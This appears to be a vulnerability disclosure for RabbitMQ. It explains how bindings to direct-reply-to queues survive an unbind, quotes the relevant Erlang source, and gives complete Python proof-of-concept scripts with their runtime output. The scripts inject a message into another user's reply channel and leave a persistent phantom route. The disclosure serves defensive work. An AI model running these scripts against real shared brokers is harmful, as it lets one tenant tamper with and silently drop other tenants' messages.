Описание
Direct-reply-to binding persistence can lead to unauthorized reply-channel injection and persistent phantom
Summary
RabbitMQ allows foreign bindings to amq.rabbitmq.reply-to.* destinations due to a mismatch between volatile direct-reply-to queue handling and Khepri-backed binding deletion. Direct-reply-to queue names are treated as valid queue/target objects at bind and route time, but they are not persisted as queue records in Khepri. During unbind, binding deletion checks both endpoints through Khepri-backed lookup and can return ok without deleting the route entry when the volatile destination is missing from that store. The executed PoC showed this path in practice by delivering an injected message into a victim direct-reply-to consumer and then observing that the binding still existed after queue_unbind. The same run showed phantom routing behavior: mandatory return occurred for a truly empty exchange but not for the poisoned exchange.
Impact
An authenticated tenant with normal bind/publish permissions in a shared vhost can leave persistent poisoned routes that enable unsolicited reply-channel injection and silent routing loss conditions on affected exchanges.
Description
The bind path performs normal permission checks and then executes binding creation/removal against the provided destination name.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_channel.erl#L1711-L1732
binding_action_with_checks(
Action, SourceNameBin0, DestinationType, DestinationNameBin0,
RoutingKey, Arguments, VHostPath, ConnPid, AuthzContext,
#user{username = Username} = User) ->
ExchangeNameBin = strip_cr_lf(SourceNameBin0),
DestinationNameBin = strip_cr_lf(DestinationNameBin0),
DestinationName = name_to_resource(DestinationType, DestinationNameBin, VHostPath),
check_write_permitted(DestinationName, User, AuthzContext),
ExchangeName = rabbit_misc:r(VHostPath, exchange, ExchangeNameBin),
[check_not_default_exchange(N) || N <- [DestinationName, ExchangeName]],
check_read_permitted(ExchangeName, User, AuthzContext),
case rabbit_exchange:lookup(ExchangeName) of
{error, not_found} ->
ok;
{ok, Exchange} ->
check_read_permitted_on_topic(Exchange, User, RoutingKey, AuthzContext)
end,
Binding = #binding{source = ExchangeName,
destination = DestinationName,
key = RoutingKey,
args = Arguments},
binding_action(Action, Binding, Username, ConnPid).
Queue lookup and target resolution treat direct-reply-to names as volatile queues that are synthesized on demand rather than loaded from persistent queue metadata.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_db_queue.erl#L334-L344
lookup_target(#resource{name = NameBin} = Name) ->
case rabbit_volatile_queue:is(NameBin) of
true ->
%% This queue is not stored in the database. We create it on the fly.
case rabbit_volatile_queue:new_target(Name) of
error -> not_found;
Target -> Target
end;
false ->
lookup_target0(Name)
end.
The direct-reply-to volatile queue implementation builds an amqqueue with exclusive_owner set to none, so bind-time exclusive access checks do not reject it as owned by another live connection.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_volatile_queue.erl#L92-L100
new0(Name, Pid, Vhost) ->
amqqueue:new(Name, Pid, false, true, none, [], Vhost, #{}, ?MODULE).
-spec new_target(rabbit_amqqueue:name()) ->
amqqueue:target() | error.
new_target(#resource{name = NameBin} = Name) ->
case pid_from_name(NameBin) of
{ok, Pid} when is_pid(Pid) ->
amqqueue:new_target(Name, {?MODULE, Pid, none});
Unbind/delete requires both source and destination resources to be reloaded from Khepri-backed lookup in the same transaction, and otherwise falls through to ok.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_db_binding.erl#L193-L216
delete(#binding{source = SrcName,
destination = DstName} = Binding, ChecksFun) ->
Path = khepri_route_path(Binding),
case rabbit_khepri:transaction(
fun () ->
case {lookup_resource_in_khepri_tx(SrcName),
lookup_resource_in_khepri_tx(DstName)} of
{[Src], [Dst]} ->
case exists_in_khepri(Path, Binding) of
false ->
ok;
true ->
case ChecksFun(Src, Dst) of
ok ->
ok = delete_in_khepri(Binding),
maybe_auto_delete_exchange_in_khepri(Binding#binding.source, [Binding], rabbit_binding:new_deletions(), false);
{error, _} = Err ->
Err
end
end;
_Errs ->
%% No absent queues, always present on disk
ok
end
end) of
Queue metadata lookup in Khepri returns [] when the queue has no stored record, which is the volatile direct-reply-to case.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_db_queue.erl#L937-L941
get_in_khepri_tx(Name) ->
case khepri_tx:get(khepri_queue_path(Name)) of
{ok, X} -> [X];
_ -> []
end.
Delivery to a dead target on this path is invoked through invoke_no_result, which explicitly ignores errors.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit_common/src/delegate.erl#L171-L181
invoke_no_result(Pid, FunOrMFA) when is_pid(Pid) andalso node(Pid) =:= node() ->
%% Optimization, avoids calling invoke_no_result/3.
%%
%% This may seem like a cosmetic change at first but it actually massively reduces the memory usage in mirrored
%% queues when ack/nack are sent to the node that hosts a mirror.
%% This way binary references are not kept around unnecessarily.
%%
%% See https://github.com/rabbitmq/rabbitmq-common/issues/208#issuecomment-311308583 for a before/after
%% comparison.
_ = safe_invoke(Pid, FunOrMFA), %% we don't care about any error
ok;
The executed PoC proved foreign-injection and persistent phantom-binding effects directly; it did not execute a high-volume blackholing workload, so that broader impact remains a logical extension of the same persisted dead-route primitive.
Proof of Concept (PoC)
The finding was validated against the 83866edcc995602f546f3c4147078b3a610b0075 commit.
- Create a working directory:
mkdir -p validation-environments/finding-670.
- Create helper file
validation-environments/finding-670/helpers.py:
import json
import urllib.request
import base64
MGMT='http://127.0.0.1:15672'
ADMIN_USER='guest'
ADMIN_PASS='guest'
def auth_header(u, p):
tok = base64.b64encode(f"{u}:{p}".encode()).decode()
return {'Authorization': f'Basic {tok}'}
def api(method, path, body=None, user=ADMIN_USER, pw=ADMIN_PASS):
url = MGMT + path
data = None
headers = {'Content-Type': 'application/json', **auth_header(user, pw)}
if body is not None:
data = json.dumps(body).encode()
req = urllib.request.Request(url, data=data, method=method, headers=headers)
with urllib.request.urlopen(req, timeout=10) as r:
raw = r.read()
return r.status, (json.loads(raw.decode()) if raw else None)
def ensure_user(username, password):
api('PUT', f'/api/users/{username}', {'password': password, 'tags': ''})
api('PUT', f'/api/permissions/%2F/{username}', {'configure':'.*','write':'.*','read':'.*'})
- Create helper file
validation-environments/finding-670/trigger_injection.py:
import json
import time
import uuid
import pika
from helpers import ensure_user
HOST='127.0.0.1'
VHOST='/'
VICTIM_USER='victimuser670'
VICTIM_PASS='victimpass670'
ATTACKER_USER='attackeruser670'
ATTACKER_PASS='attackerpass670'
ensure_user(VICTIM_USER, VICTIM_PASS)
ensure_user(ATTACKER_USER, ATTACKER_PASS)
victim_creds = pika.PlainCredentials(VICTIM_USER, VICTIM_PASS)
attacker_creds = pika.PlainCredentials(ATTACKER_USER, ATTACKER_PASS)
victim_conn = pika.BlockingConnection(pika.ConnectionParameters(host=HOST, virtual_host=VHOST, credentials=victim_creds))
attacker_conn = pika.BlockingConnection(pika.ConnectionParameters(host=HOST, virtual_host=VHOST, credentials=attacker_creds))
victim_ch = victim_conn.channel()
attacker_ch = attacker_conn.channel()
req_queue = 'rpc_req_' + uuid.uuid4().hex[:8]
attack_exchange = 'attack_x_' + uuid.uuid4().hex[:8]
attacker_ch.queue_declare(queue=req_queue, durable=False, exclusive=True, auto_delete=True)
attacker_ch.exchange_declare(exchange=attack_exchange, exchange_type='fanout', durable=False, auto_delete=True)
received = []
state = {'reply_to': None}
def on_victim(ch, method, props, body):
received.append(body)
def on_attacker(ch, method, props, body):
state['reply_to'] = props.reply_to
ch.queue_bind(queue=props.reply_to, exchange=attack_exchange, routing_key='')
ch.basic_publish(exchange=attack_exchange, routing_key='', body=b'INJECTED')
ch.queue_unbind(queue=props.reply_to, exchange=attack_exchange, routing_key='')
ch.basic_ack(method.delivery_tag)
victim_ch.basic_consume(queue='amq.rabbitmq.reply-to', on_message_callback=on_victim, auto_ack=True)
attacker_ch.basic_consume(queue=req_queue, on_message_callback=on_attacker, auto_ack=False)
victim_ch.basic_publish(exchange='', routing_key=req_queue, body=b'REQ', properties=pika.BasicProperties(reply_to='amq.rabbitmq.reply-to'))
start = time.time()
while time.time() - start < 10:
attacker_conn.process_data_events(time_limit=0.2)
victim_conn.process_data_events(time_limit=0.2)
if received:
break
result = {
'attack_exchange': attack_exchange,
'reply_to': state['reply_to'],
'victim_received_count': len(received),
'victim_body': received[0].decode(errors='replace') if received else None,
}
print(json.dumps(result, sort_keys=True))
victim_conn.close()
attacker_conn.close()
- Create helper file
validation-environments/finding-670/verify_persistence_and_return.py:
import json
import uuid
import time
import pika
from helpers import api
ATTACKER_USER='attackeruser670'
ATTACKER_PASS='attackerpass670'
with open('validation-environments/finding-670/injection_result.json', 'r', encoding='utf-8') as f:
injection = json.load(f)
attack_exchange = injection['attack_exchange']
reply_to = injection['reply_to']
empty_exchange = 'empty_x_' + uuid.uuid4().hex[:8]
status, bindings = api('GET', '/api/bindings/%2F')
persisted = [b for b in bindings if b.get('source') == attack_exchange and b.get('destination') == reply_to]
creds = pika.PlainCredentials(ATTACKER_USER, ATTACKER_PASS)
conn = pika.BlockingConnection(pika.ConnectionParameters(host='127.0.0.1', virtual_host='/', credentials=creds))
ch = conn.channel()
ch.exchange_declare(exchange=empty_exchange, exchange_type='fanout', durable=False, auto_delete=True)
returns = []
def on_return(ch, method, props, body):
returns.append({'exchange': method.exchange, 'code': method.reply_code, 'text': method.reply_text, 'body': body.decode(errors='replace')})
ch.add_on_return_callback(on_return)
ch.basic_publish(exchange=empty_exchange, routing_key='', body=b'TEST_EMPTY', mandatory=True)
ch.basic_publish(exchange=attack_exchange, routing_key='', body=b'TEST_PHANTOM', mandatory=True)
start = time.time()
while time.time() - start < 2:
conn.process_data_events(time_limit=0.2)
result = {
'bindings_query_status': status,
'persisted_binding_count': len(persisted),
'empty_exchange': empty_exchange,
'mandatory_returns_count': len(returns),
'mandatory_returns': returns,
}
print(json.dumps(result, sort_keys=True))
conn.close()
- Install dependency:
apt-get update -qq && apt-get install -y -qq python3-pika.
- Ensure broker is running:
docker run -d --name bbval-rabbitmq-server -p 127.0.0.1:5672:5672 -p 127.0.0.1:15672:15672 rabbitmq:4-management.
PoC Steps
- Run injection stage and save output:
python3 validation-environments/finding-670/trigger_injection.py > validation-environments/finding-670/injection_result.json
- Run persistence/mandatory-return stage and save output:
python3 validation-environments/finding-670/verify_persistence_and_return.py > validation-environments/finding-670/verification_result.json
- Inspect both outputs:
cat validation-environments/finding-670/injection_result.json
cat validation-environments/finding-670/verification_result.json
- Confirm the same success conditions used in the executed validation run:
victim_received_count >= 1, victim_body == "INJECTED", persisted_binding_count >= 1, and only one mandatory return tied to the empty exchange.
PoC Results
Observed runtime output from the executed PoC run:
POC_RESULT={"attack_exchange": "attack_x_1a404547", "bindings_query_status": 200, "empty_exchange": "empty_x_7e8eb5ba", "mandatory_returns": [{"body": "TEST_EMPTY", "code": 312, "exchange": "empty_x_7e8eb5ba", "text": "NO_ROUTE"}], "mandatory_returns_count": 1, "persisted_binding_count": 1, "reply_to": "amq.rabbitmq.reply-to.g1h2AA5yZXBseUA3NzQ2MjE0NwAAAtAAAAAAac+kag==.pFdcN2pQBd741ujmFeiW4g==", "victim_body": "INJECTED", "victim_received_count": 1}
Observed runtime exit code from the executed PoC run:
0
Observed structured JSON artifact from the executed PoC run:
{
"attack_exchange": "attack_x_1a404547",
"bindings_query_status": 200,
"empty_exchange": "empty_x_7e8eb5ba",
"mandatory_returns": [
{
"body": "TEST_EMPTY",
"code": 312,
"exchange": "empty_x_7e8eb5ba",
"text": "NO_ROUTE"
}
],
"mandatory_returns_count": 1,
"persisted_binding_count": 1,
"reply_to": "amq.rabbitmq.reply-to.g1h2AA5yZXBseUA3NzQ2MjE0NwAAAtAAAAAAac+kag==.pFdcN2pQBd741ujmFeiW4g==",
"victim_body": "INJECTED",
"victim_received_count": 1
}
This shows a real unauthorized injection into the victim reply consumer and a persistent phantom binding that changes unroutable-message behavior on the poisoned exchange.
